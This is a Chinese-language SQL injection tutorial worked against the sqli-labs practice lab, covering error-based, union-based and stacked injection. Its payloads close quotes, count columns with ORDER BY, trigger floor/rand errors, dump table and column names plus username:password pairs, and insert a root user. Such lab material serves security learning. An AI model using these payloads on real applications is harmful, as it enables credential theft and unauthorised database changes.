1.1 SQL注入方法
1.1.1 报错注入
ORDER BY关键词用于对记录集中的数据进行排序。
用法1:按某个字段进行排序,语法:
select字段1,字段2 from表名order by字段名;
用法2:按第几个字段进行排序,如果超过查询的字段数,就报错,语法:
select字段1,字段2 from表名order by数字;
1.1.1.1 使用闭合方式判断注入点
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=1'
- 实际SQL:SELECT * FROM users WHERE id='-1'' LIMIT 0,1
【报错信息】:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
【报错分析】:
可以看到去掉最外层的单引号后是 '1'' LIMIT 0,1,可以看到我们输入的id=1此时id参数已经成功闭合,但是多了一个单引号导致后面的语句执行失败,由此我们可以确认当前位置存在SQL注入。原因是我们输入的单引号没有被过滤,成功带入数据库中执行。
【原因分析】:
查看源代码发现代码如下:
vim /var/www/html/sqli-labs/Less-1/index.php 29 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
由此可见这个sql语句中的$id采用的闭合方式就是单引号,所以我们可以使用单引号闭合方式进行注入。
PS.闭合方式是指开发人员在sql语句中的加在参数变量两边的符号。
【总结】:
常见手动sql注入的闭合方式:
- or 1=1 --+
- 'or 1=1 --+
- "or 1=1 --+
- ) or 1=1 --+
- ') or 1=1 --+
- ") or 1=1 --+
- ")) or 1=1 --+
具体使用哪种方式取决于SQL语句使用了什么方式,我们可以在注入点输入反斜杠\来判断页面使用的哪种闭合方式。\表示转义,直接输入\会将字段的闭合方式暴露出来,因为被转义不生效,导致SQL语句报错,并爆出闭合方式。
'1\' LIMIT 0,1:发现\转义后有一个单引号,说明此sql语句基于单引号闭合。
1.1.1.2 使用order by判断表中字段数
- 测试URL:
http://192.168.10.159/sqli-labs/Less-1/?id=1' order by 4 --+
http://192.168.10.159/sqli-labs/Less-1/?id=1' order by 3 --+
- 实际SQL:
SELECT * FROM users WHERE id='1' order by 4 -- ' LIMIT 0,1
SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1
- 参数分析:
- ?id=1:正常传递参数
- ':闭合id字段
- order by 4/3:判断是否存在第4/3个字段
- --:注释后边的SQL语句
- +:代表空格
【报错信息】:
Unknown column '4' in 'order clause'
【报错分析】:
表中不存在第4个字段
order by num,按第num个字段进行排序,如果超过查询的字段就会报错。例如:
MariaDB [security]> select * from users order by 3; # 表示表中有3个字段 +----+----------+------------+ | id | username | password | +----+----------+------------+ | 8 | admin | admin | | 9 | admin1 | admin1 | ... 13 rows in set (0.00 sec) MariaDB [security]> select * from users order by 4; ERROR 1054 (42S22): Unknown column '4' in 'order clause' # 表示表中所有字段数量不够4个
综上:可以判断该表中只有3个字段。
【原因分析】:
原始SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1
构造参数后SQL:SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
实际运行的SQL:SELECT * FROM users WHERE id='1' order by 4
查询第3个字段正常但是查询第4个字段报错,说明该表中只有3个字段。
1.1.1.3 使用floor和rand使查询报错获取key值
- 测试URL:http://192.168.10.159/sqli-labs/Less-5/?id=0' union select 1,2,3 from (select count(*), concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) mysql --+
- 实际SQL:
SELECT * FROM users WHERE id = '0' UNION SELECT 1,2,3 FROM ( SELECT count(*), concat(( SELECT concat( version(), 0x3a, 0x3a, DATABASE (), 0x3a, 0x3a, USER (), 0x3a ) limit0, 1 ), floor( rand( 0 )* 2 )) x FROM information_schema.TABLES GROUP BY x ) mysql -- ' LIMIT 0,1

【字段解释】:
select count(*),(floor(rand(0)*2))x from table group by x;
函数说明:
rand():随机函数,返回0~1之间的某个值
floor(a):取整函数,返回小于等于a,且值最接近a的一个整数
count():聚合函数也称作计数函数,返回查询对象的总数
group by clause:分组语句,按照查询结果分组
1.1.2 联合注入
UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条SELECT语句中的列的顺序必须相同。
SQL UNION语法:
SELECT column name(s) FROM table_ name1 UNION SELECT column name(s) FROM table_ name2
1.1.2.1 使用union爆出字段显示的位置
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/ id=-1' union select 1,2,3 --+
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1,2,3 -- ' LIMIT 0,1
- 参数分析:
- ?id=-1: id=-1这个值在数据库中是不存在的,因为程序只返回一个结果,为了让我们后面查询的结果返回,所以我们需要使union前面的语句查询不出结果。
注意:联合查询必须字段数一致,如果表存在3个字段联合查询的字段也必须是3个,否则报错,从而可以判断表中的字段数。
【结果分析】:
通过联合查询结果发现name显示的是第2个字段,password显示的是第3个字段
1.1.2.2 使用union获取数据库名称等信息
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1,database(),3 -- ' LIMIT 0,1
【结果分析】:
database()方法代替了字段2的内容,在查询结果中返回了database方法执行的结果,也就是数据库名称。
【常用函数】:
- version():MySQL版本
- user():数据库用户名
- database():数据库名
- @@datadir:数据库路径
- @@version_compile_os:操作系统版本
1.1.2.3 使用union和group_concat获取所有表信息
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- ' LIMIT 0,1
【结果分析】:
group_concat()函数功能:将where条件匹配到的多条记录连接成一个字符串,语法:
group_ concat (str1, str2...) # 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
实际SQL语句的意思是:SELECT * FROM users WHERE id='-1' union select (1,group_concat(table_name),3) from information_schema.tables where table_schema=database()
其中(1,group_concat(table_name),3)是一个整体,相当于*,所以from...要放在3 后面
【字段解释】:
information_ schema是MySQL自带的一个元数据库,用于存储MySQL的数据结构,这个库里又存放了很多个表,这些表里的不同字段表示MySQL中的相关信息。
- table_ schema:该字段存储数据库名;
- table_name:该字段存储对应数据库中的包括的表名
1.1.2.4 使用union和group_concat获取users表中的字段名字
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' -- ' LIMIT 0,1
【字段解释】:
information schema元数据库下的columns表, columns表用于存储MySQL中的所有表的字段类型。
1.1.2.5 使用union和group_concat获取用户名和密码字段值
- 测试URL:
http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+
http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e),3 from users --+
- 实际SQL:
SELECT * FROM users WHERE id='-1' union select 1,group_concat(username,0x3a,password),3 from users -- ' LIMIT 0,1
SELECT * FROM users WHERE id='-1' union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e),3 from users -- ' LIMIT 0,1
【结果分析】:
0x是十六进制的标志,3a 即十六进制的3a,0x3a 在ASCII码表代表冒号(:)。
group_ concat(username,0x3a,password) 的意思是将用户名和密码连接成字符串,并使用冒号(:)将用户名和密码分隔开。
HTML中换行符用<hr />来表示,转换成十六进制是0x3C,0x68,0x72,0x2F,0x3E,将十六进制换行符添加到password字段后即可实现一行一个用户名密码。
ASCII码表: https://baike.baidu.com/item/ASCII/309296?fr=aladdin
1.1.3 堆叠注入
使用;分号来直接添加一条新的SQL语句来进行执行就是堆叠查询注入。
1.1.3.1 通过堆叠注入向数据库中插入信息
- 测试URL:http://192.168.10.159/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values('66','root','123456')--+
- 实际SQL:SELECT * FROM users WHERE id='1';insert into users(id,username,password) values('66','root','123456')-- ' LIMIT 0,1
【结果分析】:
MariaDB [security]> select * from users; +----+------------+------------+ | id | username | password | +----+------------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | |<span style="color: #ff0000;"> 66 | root | 123456 </span> | +----+------------+------------+ 15 rows in set (0.00 sec)
